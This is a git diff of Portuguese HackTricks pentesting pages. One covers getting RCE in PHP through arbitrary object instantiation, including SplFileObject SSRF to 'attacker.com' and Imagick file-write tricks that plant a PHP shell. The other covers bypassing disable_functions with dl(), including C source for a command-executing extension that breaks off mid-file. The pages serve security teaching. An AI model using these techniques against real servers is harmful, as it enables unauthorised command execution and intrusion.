<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Introdução
|
## Introdução
|
||||||
|
|
||||||
Na situação em que você pode criar um novo objeto arbitrário como `new $_GET["a"]($_GET["a"])`, você pode ser capaz de obter RCE, e [**este artigo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) expõe diferentes maneiras de obter RCE.
|
Na situação em que você pode criar um novo objeto arbitrário como `new $_GET["a"]($_GET["a"])`, você pode ser capaz de obter RCE, e [**este writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) expõe diferentes maneiras de conseguir RCE.
|
||||||
|
|
||||||
## RCE via Classes Personalizadas ou Autoloading
|
## RCE via Classes Personalizadas ou Autoload
|
||||||
|
|
||||||
Na construção `new $a($b)`, a **variável `$a` representa o nome da classe** para a qual o objeto será criado, e a variável **`$b` representa o primeiro argumento** que será passado para o construtor do objeto.
|
Na construção `new $a($b)`, a **variável `$a` representa o nome da classe** para a qual o objeto será criado, e a variável **`$b` representa o primeiro argumento** que será passado para o construtor do objeto.
|
||||||
|
|
||||||
Se `$a` e `$b` vierem de GET/POST, eles podem ser **strings ou arrays de strings**. Se eles vierem de **JSON** ou de outro lugar, eles **podem ter outros tipos**, como objeto ou booleano.
|
Se `$a` e `$b` vêm de GET/POST, eles podem ser **strings ou arrays de strings**. Se eles vêm de **JSON** ou de outro lugar, eles **podem ter outros tipos**, como objeto ou booleano.
|
||||||
|
|
||||||
Vamos considerar o seguinte exemplo:
|
Vamos considerar o seguinte exemplo:
|
||||||
```php
|
```php
|
||||||
class App {
|
class App {
|
||||||
function __construct ($cmd) {
|
function __construct ($cmd) {
|
||||||
system($cmd);
|
system($cmd);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
|
# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
|
||||||
class App2 {
|
class App2 {
|
||||||
function App2 ($cmd) {
|
function App2 ($cmd) {
|
||||||
system($cmd);
|
system($cmd);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
# Vulnerable code
|
# Vulnerable code
|
||||||
|
@ -47,53 +45,52 @@ $b = $_GET['b'];
|
||||||
|
|
||||||
new $a($b);
|
new $a($b);
|
||||||
```
|
```
|
||||||
Neste código, você pode definir `$a` como `App` ou `App2` e `$b` como `uname -a`. Depois disso, o comando `uname -a` será executado.
|
Neste código, você pode definir `$a` como `App` ou `App2` e `$b` como `uname -a`. Após isso, o comando `uname -a` será executado.
|
||||||
|
|
||||||
Quando não há classes exploráveis em sua aplicação, ou você tem a classe necessária em um arquivo separado que não é incluído pelo código vulnerável, você pode dar uma olhada em funções de carregamento automático.
|
Quando não existem classes exploráveis na sua aplicação, ou você tem a classe necessária em um arquivo separado que não é incluído pelo código vulnerável, você pode considerar as funções de **autoloading**.
|
||||||
|
|
||||||
As **funções de carregamento automático** são definidas registrando callbacks via `spl_autoload_register` ou definindo `__autoload`. Elas são chamadas quando uma instância de uma classe desconhecida está tentando ser criada.
|
**Funções de autoloading** são definidas registrando callbacks via `spl_autoload_register` ou definindo `__autoload`. Elas são chamadas quando uma instância de uma classe desconhecida está tentando ser criada.
|
||||||
```php
|
```php
|
||||||
# An example of an autoloading function
|
# An example of an autoloading function
|
||||||
spl_autoload_register(function ($class_name) {
|
spl_autoload_register(function ($class_name) {
|
||||||
include './../classes/' . $class_name . '.php';
|
include './../classes/' . $class_name . '.php';
|
||||||
});
|
});
|
||||||
|
|
||||||
# An example of an autoloading function, works only in PHP < 8.0
|
# An example of an autoloading function, works only in PHP < 8.0
|
||||||
function __autoload($class_name) {
|
function __autoload($class_name) {
|
||||||
include $class_name . '.php';
|
include $class_name . '.php';
|
||||||
};
|
};
|
||||||
|
|
||||||
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
|
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
|
||||||
spl_autoload_register();
|
spl_autoload_register();
|
||||||
```
|
```
|
||||||
Dependendo da versão do PHP e do código nas funções de carregamento automático, pode haver algumas maneiras de obter uma Execução de Código Remoto via carregamento automático.
|
Dependendo da versão do PHP e do código nas funções de carregamento automático, algumas maneiras de obter uma Execução Remota de Código via carregamento automático podem existir.
|
||||||
|
|
||||||
## RCE via Classes Integradas
|
## RCE via Classes Internas
|
||||||
|
|
||||||
Quando você não tem classes personalizadas e carregamento automático, pode depender apenas de **classes integradas do PHP**.
|
Quando você não tem classes personalizadas e carregamento automático, você pode confiar **apenas nas classes internas do PHP**.
|
||||||
|
|
||||||
Existem de 100 a 200 classes integradas do PHP. O número delas depende da versão do PHP e das extensões instaladas. Todas as classes integradas podem ser listadas por meio da função `get_declared_classes`, juntamente com as classes personalizadas:
|
Existem de 100 a 200 classes internas no PHP. O número delas depende da versão do PHP e das extensões instaladas. Todas as classes internas podem ser listadas através da função `get_declared_classes`, juntamente com as classes personalizadas:
|
||||||
```php
|
```php
|
||||||
var_dump(get_declared_classes());
|
var_dump(get_declared_classes());
|
||||||
```
|
```
|
||||||
Classes com construtores úteis podem ser encontradas através da [API de reflexão](https://www.php.net/manual/en/book.reflection.php).
|
Classes com construtores úteis podem ser encontradas através da [API de reflexão](https://www.php.net/manual/en/book.reflection.php).
|
||||||
|
|
||||||
Exibindo construtores e seus parâmetros usando a API de reflexão: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\
|
Exibindo construtores e seus parâmetros usando a API de reflexão: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)
|
||||||
|
|
||||||
|
|
||||||
![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png)
|
![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png)
|
||||||
|
|
||||||
Se você controla **múltiplos parâmetros do construtor e pode chamar métodos arbitrários** posteriormente, existem muitas maneiras de obter uma Execução Remota de Código. Mas se você pode passar **apenas um parâmetro e não tem nenhuma chamada** para o objeto criado, há **quase nada**.
|
Se você controla **múltiplos parâmetros do construtor e pode chamar métodos arbitrários** depois, existem muitas maneiras de conseguir uma Execução Remota de Código. Mas se você pode passar **apenas um parâmetro e não tem nenhuma chamada** ao objeto criado, há **quase nada**.
|
||||||
|
|
||||||
Eu conheço apenas três maneiras de obter algo de `new $a($b)`.
|
Eu conheço apenas três maneiras de conseguir algo de `new $a($b)`.
|
||||||
|
|
||||||
### **SSRF + desserialização Phar**
|
### **SSRF + Deserialização Phar**
|
||||||
|
|
||||||
A classe `SplFileObject` implementa um construtor que permite conexão com qualquer URL local ou remoto:
|
A classe `SplFileObject` implementa um construtor que permite conexão com qualquer URL local ou remota:
|
||||||
```
|
```
|
||||||
new SplFileObject('http://attacker.com/');
|
new SplFileObject('http://attacker.com/');
|
||||||
```
|
```
|
||||||
Isso permite SSRF. Além disso, SSRFs em PHP < 8.0 podem ser transformados em desserializações por meio de técnicas com o protocolo Phar.
|
Isso permite SSRF. Além disso, SSRFs em PHP < 8.0 poderiam ser transformados em deserializações por meio de técnicas com o protocolo Phar.
|
||||||
|
|
||||||
### **Explorando PDOs**
|
### **Explorando PDOs**
|
||||||
|
|
||||||
|
@ -101,34 +98,34 @@ A classe PDO tem outro construtor interessante:
|
||||||
```php
|
```php
|
||||||
new PDO("sqlite:/tmp/test.txt")
|
new PDO("sqlite:/tmp/test.txt")
|
||||||
```
|
```
|
||||||
O construtor `PDO` aceita strings DSN, permitindo **conectar-se a qualquer banco de dados local ou remoto** usando **extensões de banco de dados instaladas**. Por exemplo, a extensão SQLite pode criar arquivos vazios.
|
O construtor `PDO` aceita strings DSN, permitindo-nos **conectar a qualquer banco de dados local ou remoto** usando **extensões de banco de dados instaladas**. Por exemplo, a extensão SQLite pode criar arquivos vazios.
|
||||||
|
|
||||||
### **SoapClient/SimpleXMLElement XXE**
|
### **SoapClient/SimpleXMLElement XXE**
|
||||||
|
|
||||||
No PHP ≤ 5.3.22 e ≤ 5.4.12, o construtor de SoapClient era **vulnerável a XXE**. O construtor de SimpleXMLElement também era vulnerável a XXE, mas exigia libxml2 < 2.9.
|
No PHP ≤ 5.3.22 e ≤ 5.4.12, o construtor do SoapClient era **vulnerável a XXE**. O construtor do SimpleXMLElement também era vulnerável a XXE, mas exigia libxml2 < 2.9.
|
||||||
|
|
||||||
## RCE via Extensão Imagick
|
## RCE via Extensão Imagick
|
||||||
|
|
||||||
Verificando as **dependências** do **projeto** que você está tentando explorar, você pode encontrar **novas classes** que podem ser **abusadas para executar comandos** criando um novo objeto. Neste caso, o **Imagick** foi encontrado para ser útil para esse propósito.
|
Verificando as **dependências** do **projeto** que você está tentando explorar, você poderia encontrar **novas classes** que poderiam ser **abusadas para executar comandos** criando um novo objeto. Neste caso, **Imagick** foi encontrado como útil para esse propósito.
|
||||||
|
|
||||||
### Analisador VID
|
### Analisador VID
|
||||||
|
|
||||||
O analisador VID permite escrever conteúdo arbitrário em um caminho arbitrário dentro do sistema de arquivos, o que permitiria a um invasor escrever um PHPshell em uma pasta acessível a partir da página da web e obter RCE.
|
O analisador VID permite escrever conteúdo arbitrário em um caminho arbitrário dentro do sistema de arquivos, o que permitiria a um atacante escrever um PHPshell em uma pasta acessível pela página web e obter RCE.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (157) (3).png>)
|
![](<../../../.gitbook/assets/image (157) (3).png>)
|
||||||
|
|
||||||
#### Analisador VID + Upload de Arquivo
|
#### Analisador VID + Upload de Arquivo
|
||||||
|
|
||||||
Quando um arquivo é carregado no PHP, ele é armazenado temporariamente em `/tmp/phpXXXXXX`. O analisador VID do Imagick com o protocolo **msl** permite **especificar curingas nos caminhos dos arquivos** (para que o arquivo carregado temporariamente possa ser facilmente acessado) e **copiá-lo para qualquer local arbitrário**.\
|
Quando um arquivo é carregado para o PHP, ele é temporariamente armazenado em `/tmp/phpXXXXXX`. O analisador VID do Imagick com o protocolo **msl** permite **especificar curingas nos caminhos dos arquivos** (para que o arquivo carregado temporariamente possa ser facilmente acessado) e **copiá-lo para qualquer local arbitrário**.\
|
||||||
Esta é outra maneira de obter gravação de arquivo arbitrário dentro do sistema de arquivos:
|
Esta é outra maneira de obter escrita de arquivo arbitrário dentro do sistema de arquivos:
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (159).png>)
|
![](<../../../.gitbook/assets/image (159).png>)
|
||||||
|
|
||||||
### PHP Crash + Brute Force
|
### Travamento do PHP + Força Bruta
|
||||||
|
|
||||||
O [**writeup original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) explicou outra maneira de obter RCE **carregando arquivos com conteúdo específico** e fazendo o **servidor travar antes de excluir** esse arquivo e, em seguida, **forçando o nome** do arquivo temporário até que o **Imagick execute código PHP arbitrário**.
|
O [**writeup original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) explicou outra maneira de obter RCE **carregando arquivos com conteúdo específico** e fazendo o **servidor travar antes de deletar** esse arquivo e então **forçando bruta o nome** do arquivo temporário até que **Imagick execute código PHP arbitrário**.
|
||||||
|
|
||||||
No entanto, aparentemente o **truque de falha** descoberto só **funcionou em uma versão antiga do ImageMagick**.
|
No entanto, aparentemente o **truque de travamento** descoberto só **funcionava em uma versão antiga do ImageMagick**.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -136,16 +133,14 @@ No entanto, aparentemente o **truque de falha** descoberto só **funcionou em um
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -18,33 +16,33 @@
|
||||||
|
|
||||||
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
|
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
|
||||||
|
|
||||||
**`dl`** é uma função PHP que pode ser usada para carregar extensões PHP. Se a função não estiver desativada, ela pode ser usada para **burlar `disable_functions` e executar comandos arbitrários**.\
|
**`dl`** é uma função PHP que pode ser usada para carregar extensões PHP. Se a função não estiver desativada, ela pode ser abusada para **burlar `disable_functions` e executar comandos arbitrários**.\
|
||||||
No entanto, ela tem algumas limitações estritas:
|
No entanto, ela tem algumas limitações estritas:
|
||||||
|
|
||||||
* A função `dl` deve estar **presente** no **ambiente** e **não desativada**
|
* A função `dl` deve estar **presente** no **ambiente** e **não desativada**
|
||||||
* A extensão PHP **deve ser compilada com a mesma versão principal** (versão da API do PHP) que o servidor está usando (você pode ver essa informação na saída de phpinfo)
|
* A Extensão PHP **deve ser compilada com a mesma versão principal** (versão da API PHP) que o servidor está usando (você pode ver essa informação na saída do phpinfo)
|
||||||
* A extensão PHP deve estar **localizada no diretório** que é **definido** pela diretiva **`extension_dir`** (você pode vê-lo na saída de phpinfo). É muito improvável que um invasor tentando abusar do servidor tenha acesso de gravação sobre este diretório, então este requisito provavelmente impedirá que você abuse desta técnica).
|
* A Extensão PHP deve estar **localizada no diretório** que é **definido** pela diretiva **`extension_dir`** (você pode ver isso na saída do phpinfo). É muito improvável que um atacante tentando abusar do servidor tenha acesso de escrita a este diretório, então esse requisito provavelmente impedirá que você abuse desta técnica).
|
||||||
|
|
||||||
**Se você atender a esses requisitos, continue lendo esta postagem copiada de** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **para aprender como burlar `disable_functions`**
|
**Se você atender a esses requisitos, continue lendo este post copiado de** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **para aprender como burlar disable\_functions**
|
||||||
|
|
||||||
Quando o administrador estava configurando a caixa, ele/ela ignorou a [função dl](http://www.php.net/manual/en/function.dl.php) e não a desativou, já que não havia menção de ser capaz de executar comandos do sistema.\
|
Quando o administrador estava configurando o servidor, ele/ela não desativou a [função dl](http://www.php.net/manual/en/function.dl.php) pois não havia menção de ser capaz de executar comandos do sistema.\
|
||||||
A [função dl](http://www.php.net/manual/en/function.dl.php) é usada para carregar extensões PHP quando um script é executado.\
|
A [função dl](http://www.php.net/manual/en/function.dl.php) é usada para carregar extensões PHP quando um script é executado.\
|
||||||
\
|
\
|
||||||
(As extensões PHP são escritas em C/C++ e são usadas para dar ao PHP mais funcionalidades.)\
|
(Extensões PHP são escritas em C/C++ e são usadas para dar mais funcionalidade ao PHP.)\
|
||||||
\
|
\
|
||||||
O invasor percebe que a função não está desativada e vê potencial e decide criar uma extensão PHP.\
|
O atacante percebe que a função não está desativada e vê potencial e decide criar uma extensão PHP.\
|
||||||
O invasor verifica a versão do PHP usando um pequeno script `<?php echo 'A versão do PHP é '.PHP_VERSION; ?>` (PHP\_VERSION é uma constante predefinida que contém o número da versão do PHP.)\
|
O atacante verifica a versão do PHP usando um pequeno script `<?php echo 'PHP Version is '.PHP_VERSION; ?>` (PHP\_VERSION é uma constante predefinida que contém o número da versão do PHP.)\
|
||||||
\
|
\
|
||||||
O invasor anota a versão e baixa o tarball do [site do PHP](http://www.php.net/downloads.php), neste cenário a versão é mais antiga do que a versão atual, então o invasor tem que ir para o [arquivo](http://museum.php.net).\
|
O atacante anota a versão e baixa o tarball do [site do PHP](http://www.php.net/downloads.php), neste cenário a versão é mais antiga que o lançamento atual então o atacante tem que ir ao [arquivo](http://museum.php.net).\
|
||||||
\
|
\
|
||||||
Em seguida, ele extrai a fonte e [compila e instala](http://www.php.net/manual/en/install.php) a versão do PHP em sua própria caixa.\
|
Em seguida, ele extrai o código-fonte e [compila e instala](http://www.php.net/manual/en/install.php) a versão do PHP em sua própria máquina.\
|
||||||
\
|
\
|
||||||
Agora é hora de criar a extensão\
|
Agora é hora de criar a extensão\
|
||||||
O invasor lê sobre [criação de extensões PHP](http://www.php.net/manual/en/zend.creating.php) no site do PHP.\
|
O atacante lê sobre [criar extensões PHP](http://www.php.net/manual/en/zend.creating.php) no site do PHP.\
|
||||||
Depois de ler a documentação e criar algumas extensões próprias, ele decide olhar para a base de código do PHP, já que a função que ele está procurando já está criada.\
|
Depois de ler a documentação e criar algumas extensões por conta própria, ele decide olhar para o código-fonte do PHP, já que a função que ele está procurando já está criada.\
|
||||||
\
|
\
|
||||||
A função que será duplicada será a [função exec](http://www.php.net/manual/en/function.exec.php)\
|
A função que será duplicada será a [função exec](http://www.php.net/manual/en/function.exec.php)\
|
||||||
na base de código, ela está localizada em ext/standard/exec.c\
|
no código-fonte está localizada em ext/standard/exec.c\
|
||||||
\
|
\
|
||||||
As partes relevantes são implementadas em uma nova extensão própria.\
|
As partes relevantes são implementadas em uma nova extensão própria.\
|
||||||
\
|
\
|
||||||
|
@ -53,67 +51,67 @@ As partes relevantes são implementadas em uma nova extensão própria.\
|
||||||
|
|
||||||
Antes de começar a compilar os códigos, você deve estar ciente de dois pontos:
|
Antes de começar a compilar os códigos, você deve estar ciente de dois pontos:
|
||||||
|
|
||||||
1- O valor de `ZEND_MODULE_API_NO` deve ser alterado no arquivo `bypass.c` para o `Zend Extension Build` atual em que você está trabalhando, você pode obtê-lo usando a linha de comando abaixo:
|
1- O valor de `ZEND_MODULE_API_NO` deve ser alterado no arquivo `bypass.c` para o atual `Zend Extension Build` em que você está trabalhando, você pode obtê-lo usando a linha de comando abaixo:
|
||||||
```bash
|
```bash
|
||||||
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
|
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
|
||||||
```
|
```
|
||||||
2- Se você enfrentou erros ao compilar o arquivo bypass.c na versão recente do PHP (5, 7 e 8), você pode alterar o PHP_FUNCTION(bypass_exec) para o seguinte:
|
2- Se você encontrou algum erro ao compilar o arquivo bypass.c na versão recente do PHP (5, 7 e 8), você pode alterar o PHP_FUNCTION(bypass_exec) para isto:
|
||||||
```
|
```
|
||||||
PHP_FUNCTION(bypass_exec)
|
PHP_FUNCTION(bypass_exec)
|
||||||
{
|
{
|
||||||
FILE *in;
|
FILE *in;
|
||||||
char *command;
|
char *command;
|
||||||
size_t command_len;
|
size_t command_len;
|
||||||
zend_string *ret;
|
zend_string *ret;
|
||||||
php_stream *stream;
|
php_stream *stream;
|
||||||
|
|
||||||
ZEND_PARSE_PARAMETERS_START(1, 1)
|
ZEND_PARSE_PARAMETERS_START(1, 1)
|
||||||
Z_PARAM_STRING(command, command_len)
|
Z_PARAM_STRING(command, command_len)
|
||||||
ZEND_PARSE_PARAMETERS_END();
|
ZEND_PARSE_PARAMETERS_END();
|
||||||
|
|
||||||
if (!command_len) {
|
if (!command_len) {
|
||||||
zend_argument_value_error(1, "cannot be empty");
|
zend_argument_value_error(1, "cannot be empty");
|
||||||
RETURN_THROWS();
|
RETURN_THROWS();
|
||||||
}
|
}
|
||||||
if (strlen(command) != command_len) {
|
if (strlen(command) != command_len) {
|
||||||
zend_argument_value_error(1, "must not contain any null bytes");
|
zend_argument_value_error(1, "must not contain any null bytes");
|
||||||
RETURN_THROWS();
|
RETURN_THROWS();
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef PHP_WIN32
|
#ifdef PHP_WIN32
|
||||||
if ((in=VCWD_POPEN(command, "rt"))==NULL) {
|
if ((in=VCWD_POPEN(command, "rt"))==NULL) {
|
||||||
#else
|
#else
|
||||||
if ((in=VCWD_POPEN(command, "r"))==NULL) {
|
if ((in=VCWD_POPEN(command, "r"))==NULL) {
|
||||||
#endif
|
#endif
|
||||||
php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command);
|
php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command);
|
||||||
RETURN_FALSE;
|
RETURN_FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
stream = php_stream_fopen_from_pipe(in, "rb");
|
stream = php_stream_fopen_from_pipe(in, "rb");
|
||||||
ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
|
ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
|
||||||
php_stream_close(stream);
|
php_stream_close(stream);
|
||||||
|
|
||||||
if (ret && ZSTR_LEN(ret) > 0) {
|
if (ret && ZSTR_LEN(ret) > 0) {
|
||||||
RETVAL_STR(ret);
|
RETVAL_STR(ret);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Os arquivos para a extensão separada ficam assim:
|
Os arquivos para a extensão separada acabam como abaixo:
|
||||||
|
|
||||||
{% code title="bypass.c" %}
|
{% code title="bypass.c" %}
|
||||||
```c
|
```c
|
||||||
/*
|
/*
|
||||||
+----------------------------------------------------------------------+
|
+----------------------------------------------------------------------+
|
||||||
| Copyright (c) 1997-2003 The PHP Group |
|
| Copyright (c) 1997-2003 The PHP Group |
|
||||||
+----------------------------------------------------------------------+
|
+----------------------------------------------------------------------+
|
||||||
| This source file is subject to version 2.02 of the PHP license, |
|
| This source file is subject to version 2.02 of the PHP license, |
|
||||||
| that is bundled with this package in the file LICENSE, and is |
|
| that is bundled with this package in the file LICENSE, and is |
|
||||||
| available at through the world-wide-web at |
|
| available at through the world-wide-web at |
|
||||||
| http://www.php.net/license/2_02.txt. |
|
| http://www.php.net/license/2_02.txt. |
|
||||||
| If you did not receive a copy of the PHP license and are unable to |
|
| If you did not receive a copy of the PHP license and are unable to |
|
||||||
| obtain it through the world-wide-web, please send a note to |
|
| obtain it through the world-wide-web, please send a note to |
|
||||||
| license@php.net so we can mail you a copy immediately. |
|
| license@php.net so we can mail you a copy immediately. |
|
||||||
+----------------------------------------------------------------------+
|
+----------------------------------------------------------------------+
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
@ -125,25 +123,25 @@ Os arquivos para a extensão separada ficam assim:
|
||||||
#include "php_bypass.h"
|
#include "php_bypass.h"
|
||||||
|
|
||||||
static function_entry bypass_functions[] = {
